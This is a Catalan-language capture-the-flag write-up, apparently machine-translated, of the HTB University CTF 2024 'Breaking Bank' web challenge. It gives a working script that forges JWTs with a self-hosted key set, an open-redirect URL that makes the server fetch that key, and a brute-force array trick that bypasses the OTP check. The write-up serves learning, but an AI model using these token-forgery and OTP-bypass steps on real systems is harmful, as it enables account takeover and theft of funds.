16/12/24
FalsificacióJWKibypassOTP
Trencant banc | HTB University CTF 2024
Thanks for sharing!
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

I know your browser history
Hola! Avui us explicaré la resolució del repte Breaking Bank de HTB University CTF 2024.
Abans de començar, si voleu provar el repte, el podeu trobar aquí.
Contingut
- Visió general del repte
- Reconeixement inicial
- Revisió del codi font
- Anàlisi de la funció de verificació
- Aconseguint la bandera
Submergem-nos!
Visió general del repte

Reconeixement inicial
El primer que vaig fer va ser mirar el lloc web. Tenim un formulari d'inici de sessió i registre:

He fet el meu compte i he iniciat sessió. Tenim una plataforma de criptomoneda amb una visió general del mercat i una cartera en la qual el meu saldo està ajustat a zero:


També tenim altres 2 pestanyes interessants: amics i Transaccions.
Revisió del codi font
El codi font era bastant gran, així que el vaig prendre al revés: com puc arribar a la bandera?
S'ha cercat
flag.txt al codi VS i ha trobat això:import { getBalancesForUser } from "../services/coinService.js";
import fs from "fs/promises";
const FINANCIAL_CONTROLLER_EMAIL = "financial-controller@frontier-board.htb";
/**
* Checks if the financial controller's CLCR wallet is drained
* If drained, returns the flag.
*/
export const checkFinancialControllerDrained = async () => {
const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
const clcrBalance = balances.find((coin) => coin.symbol === "CLCR");
if (!clcrBalance || clcrBalance.availableBalance <= 0) {
const flag = (await fs.readFile("/flag.txt", "utf-8")).trim();
return { drained: true, flag };
}
return { drained: false };
};
Veiem que podem obtenir la bandera si hem drenat la moneda
CLCR (establir-la a 0) de l'usuari amb aquest correu electrònic: financial-controller@frontier-board.htbLlavors, com ho podem fer?
Recordeu que tenim una pàgina de transacció, així que simplement podem transferir tota l'import d'aquesta moneda a un altre usuari, i l'aconseguim
A
/src/pages/Transaction.tsx, heu trobat aquest punt final: /api/crypto/transactionconst handleTransaction = async () => {
setLoading(true);
try {
const token = localStorage.getItem('jwt');
await axios.post(
'/api/crypto/transaction',
{
to: selectedFriend,
coin: selectedCoin,
amount: parseFloat(amount),
otp: [otp],
},
{ headers: { Authorization: `Bearer ${token}` } }
);
Observeu que necessita un testimoni JWT? Comprovem el nostre testimoni a localStorage:

Passant-lo a jwt.io, tenim:
Capçalera:
{
"alg": "RS256",
"typ": "JWT",
"kid": "03b24d15-5265-41e6-98c3-aa1de9fe838f",
"jku": "http://127.0.0.1:1337/.well-known/jwks.json"
}
Cos:
{
"email": "omar@h4ck.run",
"iat": 1734301782
}
Observem aquest fitxer:
http://127.0.0.1:1337/.well-known/jwks.json
que ens porta això:{
"keys": [
{
"kty": "RSA",
"n": "nKlRFvY860GmX834rrOTEe2sUpI....VMXMrXauRenQXCaRVJHw",
"e": "AQAB",
"alg": "RS256",
"use": "sig",
"kid": "03b24d15-5265-41e6-98c3-aa1de9fe838f"
}
]
}
Nota ràpida: JWKS (conjunts de claus web JSON) és un conjunt de claus que conté les claus públiques utilitzades per verificar qualsevol JWT emès per un servidor d'autorització. El paràmetre de capçalerajku(JWK Set URL) s'utilitza per recuperar aquestes claus.
Deixem-ho per a més tard i primer entenem la lògica
Anàlisi de la funció de verificació
(where the good stuff begins)
cercant a vscode per ZZMDX0ZZZ, tenim la funció Z
verifyToken a Z/challenge/server/services/jwksService.jsexport const verifyToken = async (token) => {
try {
const decodedHeader = jwt.decode(token, { complete: true });
if (!decodedHeader || !decodedHeader.header) {
throw new Error("Invalid token: Missing header");
}
const { kid, jku } = decodedHeader.header;
if (!jku) {
throw new Error("Invalid token: Missing header jku");
}
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
throw new Error(
"Invalid token: jku claim does not start with http://127.0.0.1:1337/"
);
}
if (!kid) {
throw new Error("Invalid token: Missing header kid");
}
if (kid !== KEY_ID) {
return new Error("Invalid token: kid does not match the expected key ID");
}
let jwks;
try {
const response = await axios.get(jku);
if (response.status !== 200) {
throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}
jwks = response.data;
} catch (error) {
throw new Error(`Error fetching JWKS from jku: ${error.message}`);
}
if (!jwks || !Array.isArray(jwks.keys)) {
throw new Error("Invalid JWKS: Expected keys array");
}
const jwk = jwks.keys.find((key) => key.kid === kid);
if (!jwk) {
throw new Error("Invalid token: kid not found in JWKS");
}
if (jwk.alg !== "RS256") {
throw new Error("Invalid key algorithm: Expected RS256");
}
if (!jwk.n || !jwk.e) {
throw new Error("Invalid JWK: Missing modulus (n) or exponent (e)");
}
const publicKey = jwkToPem(jwk);
const decoded = jwt.verify(token, publicKey, { algorithms: ["RS256"] });
return decoded;
} catch (error) {
console.error(`Token verification failed: ${error.message}`);
throw error;
}
};
La funció és bastant bàsica, però aquí hi ha algunes parts que apareixen:
aquí comprova si la capçalera
jku comença amb http://127.0.0.1:1337/// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
throw new Error(
"Invalid token: jku claim does not start with http://127.0.0.1:1337/"
);
}
El
kid ha de coincidir amb el KEY_ID del servidor, que podem obtenir fàcilment des del nostre propi testimoniif (kid !== KEY_ID) {
return new Error("Invalid token: kid does not match the expected key ID");
}
Ara per la part interessant:
rep algunes dades de l'enllaç de la capçalera
jku, que al nostre testimoni era: http://127.0.0.1:1337/.well-known/jwks.jsonconst response = await axios.get(jku);
if (response.status !== 200) {
throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}
jwks = response.data;
A continuació, la funció recupera el
jwk el kid del qual coincideix amb el del servidor, després el passa a la funció jwkToPem per convertir-lo en una clau pública format PEM:const publicKey = jwkToPem(jwk);
const jwkToPem = (jwk) => {
if (jwk.kty !== "RSA") {
throw new Error("Invalid JWK: Key type must be 'RSA'");
}
const key = {
kty: jwk.kty,
n: jwk.n.toString("base64url"),
e: jwk.e.toString("base64url"),
};
const pem = crypto.createPublicKey({
key,
format: "jwk",
});
return pem.export({ type: "spki", format: "pem" });
};
La funció
jwkToPem garanteix que la clau sigui del tipus RSA, converteix els seus components (n i e) a base64url i crea una clau pública PEM mitjançant el mòdul crypto del Node.Aquest pas és important perquè utilitzarem un enfocament similar per elaborar la nostra pròpia clau més endavant.
ara estivem el que tenim fins ara:
- Objectiu: transferir tots els
CLCRdefinancial-controller@frontier-board.htbper obtenir la bandera. - Validació JWT: el servidor comprova l'URL
jkui obté una clau (jwk) per verificar els testimonis. - Planifica: allotja una clau falsa en un servidor controlat, fes que el servidor hi recuperi i forja un testimoni
Primer fem la nostra clau falsa allotjada
Vaig fer el següent guió, Anem-ho a poc a poc
import crypto from "crypto";
import jwt from "jsonwebtoken";
import { v4 as uuidv4 } from "uuid";
// Key generation parameters
const KEY_ID = "3fdd9667-40e2-4633-b1c0-d1a74ea47d8f"; // Unique Key ID for the JWK
// Generate RSA key pair
const { privateKey, publicKey } = crypto.generateKeyPairSync("rsa", {
modulusLength: 2048,
publicKeyEncoding: { type: "spki", format: "pem" },
privateKeyEncoding: { type: "pkcs8", format: "pem" },
});
// Function to generate JWKS (JSON Web Key Set)
const generateJWKS = () => {
const publicKeyObject = crypto.createPublicKey(publicKey);
const publicJwk = publicKeyObject.export({ format: "jwk" });
const jwk = {
kty: "RSA",
...publicJwk,
alg: "RS256",
use: "sig",
kid: KEY_ID,
};
return {
keys: [jwk],
};
};
// Function to generate JWT token
const generateJWT = () => {
const payload = {
email: "financial-controller@frontier-board.htb",
iat: 1734120167,
};
const header = {
alg: "RS256",
typ: "JWT",
kid: KEY_ID,
jku: "YOUR_HOSTED_KEY_URL",
};
const token = jwt.sign(payload, privateKey, {
algorithm: "RS256",
header: header,
});
return token;
};
// Generate JWT and JWKS
const token = generateJWT();
const jwks = generateJWKS();
// Log the results to the console
console.log("JWT Token:", token);
console.log("JWKS:", JSON.stringify(jwks, null, 2));
- Generació de claus:
- Genera un parell de claus RSA (
privateKeyipublicKey) per signar i verificar fitxes. KEY_IDés un identificador únic per a la clau (l'obté del vostre testimoni)
- Genera un parell de claus RSA (
- JWKS (conjunt de claus web JSON):
- Converteix el
publicKeya un format JWK (clau web JSON). - Afegeix metadades (
alg,use, Zkid)
- Converteix el
- JWT (Token web JSON):
- Crea un testimoni amb una càrrega útil (
emailiiat).
- Crea un testimoni amb una càrrega útil (
headerpersonalitzat inclou:kid: coincideix amb l'identificador de la clau (KEY_ID) (assegureu-vos de posar la vostra)jku: URL que apunta al fitxer JWKS fals.- Signa el testimoni amb la clau privada.
- Sortida:
- Registra el JWT i el JWKS falsificats per utilitzar-los en l'atac.
Si ho has provat... no funcionarà, saps per què?
Recordeu el
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
throw new Error(
"Invalid token: jku claim does not start with http://127.0.0.1:1337/"
);
}
ha de començar per
http://127.0.0.1:1337/però com podem fer-lo recuperar del nostre servidor, ha de començar amb això???
La resposta és una redirecció oberta
Així que una mica de cerca (també aquests comentaris
// TODO van facilitar la localització de les coses correctes) trobem un fitxer analytics.js amb això dinsfastify.get("/redirect", async (req, reply) => {
const { url, ref } = req.query;
if (!url || !ref) {
return reply.status(400).send({ error: "Missing URL or ref parameter" });
}
// TODO: Should we restrict the URLs we redirect users to?
try {
await trackClick(ref, decodeURIComponent(url));
reply.header("Location", decodeURIComponent(url)).status(302).send();
} catch (error) {
console.error("[Analytics] Error during redirect:", error.message);
reply.status(500).send({ error: "Failed to track analytics data." });
}
});
Aquesta és una redirecció directa
Així és com farem que el servidor recuperi la nostra clau allotjada
Podeu utilitzar ngrok, però he allotjat el meu al meu lloc web:
https://h4ck.run/jwks.json
L'URL final tindrà aquest aspecte:http://127.0.0.1:1337/api/analytics/redirect?url=https://h4ck.run/jwks.json/&ref=dummy
Tingueu en compte que el maniquí
ref és necessari per redirigirNota: aquest script genera les seves claus de forma dinàmica a cada execució, així que assegureu-vos d'utilitzar el testimoni adequat amb la seva clau allotjada correcta
Ara, com que finalment hem aconseguit el nostre testimoni, provem-lo
Aconseguint accés
Ara amb el nostre testimoni falsificat, comprovem si va funcionar:

Bonic! El valor de la nostra cartera ja no és zero, la qual cosa vol dir que hi vam entrar!
Aconseguint la bandera
Va fer un altre compte i l'ha afegit com a amic per transferir les monedes. Però quan intenteu transferir...

Encara cal obviar l'OTP. Mirant
otpMiddleware.js:export const otpMiddleware = () => {
return async (req, reply) => {
const userId = req.user.email;
const { otp } = req.body;
// ...
// TODO: Is this secure enough?
if (!otp.includes(validOtp)) {
reply.status(401).send({ error: "Invalid OTP." });
return;
}
};
};
Està utilitzant Z
includes()!Si envieu un otp simulat i veieu la sol·licitud en burp, podreu veure que l'otp s'envia en una matriu

Així que simplement feu i arregleu amb totes les opcions possibles i ho teniu
["0001","0002","0003","0004","0005"..."9999"]
L'ordre per generar-lo:
seq -f "\"%04g\"" 1 9999 | paste -sd "," | sed 's/^/[/' | sed 's/$/]/' > otp.json
Per copiar-lo feu servir:
cat otp.json | xclip -selection clipboard
Nota: poseu-lo a ruc suprimint la matriu existent i posant la vostra. No el poseu directament a l'entrada perquè es tractarà com una cadena en aquesta matriu, ja que podeu veure que l'otp es va passar com una cadena


I aquí tenim la nostra bandera!
Bandera:HTB{rugg3d_pu11ed_c0nqu3r3d_d14m0nd_h4nd5_789dfb9e1ce0f5ca7741ba640da6ce29}
Assoliment
Estic orgullós de compartir que el nostre equip es va classificar entre els 200 millors d'aquest CTF! Aquí teniu el certificat d'assoliment:

Punts clau per emportar
Aquest repte tenia una mica de tot:
- Coses de JWT i JWKS
- Vulnerabilitat de redirecció oberta
- Eludir OTP mitjançant trucs de matriu
Em va agradar molt resoldre aquest! Espero que us hagi agradat l'escrit. Ens veiem a la propera!
psst.. pots donar-me suport a Ko-fi aquí 👀. gràcies!
Etiquetes:

